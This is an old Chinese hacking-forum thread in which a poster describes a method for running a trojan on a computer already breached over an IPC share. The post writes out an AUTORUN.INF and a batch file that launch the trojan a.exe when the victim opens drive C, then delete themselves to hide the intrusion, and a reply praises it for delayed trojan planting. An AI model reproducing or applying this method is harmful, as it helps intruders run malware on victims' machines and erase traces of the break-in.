20CN网络安全小组论坛 - 菜鸟乐园

论坛: 菜鸟乐园标题: 令类的启动

作者: reek [reek]

论坛用户

问题的来源是我的朋友在一次ipc入侵，他建立了ipc连接，并有管理权限，上传了木马，但是在执行at时，所有的命令输入的是完全正确，但就是不可以执行，晕呀，为此，我有了我的另外的方案（这里我们需要建立2个文件AUTORUN.INF和一个批处理b.bat）：
首先，我们编写AUTORUN.INF
[autorun]

open=c:\b.bat \\当机主双击c盘时自动运行b.bat

现在我们来编写b.bat
内容如下：
a.exe \\运行木马a.exe
del c:\autorun.inf
y \\删除刚才上传的autorun.inf
del c:\b.bat
y \\删除刚才上传的b.bat
之后巴木马a.exe连同autorun.inf和b.bat一起上传的对方的c盘下，等对方从其电脑，打开了c盘，它的木马就会自动运行了，并且可以做到无影无踪。

地主发表时间: 04-03-30 12:57

回复: jake007 [jake007]

论坛用户

想法是不错
可以做到延迟时间种木马的目的。
有需要的应该看一看。

B1层发表时间: 04-03-30 16:25

论坛: 菜鸟乐园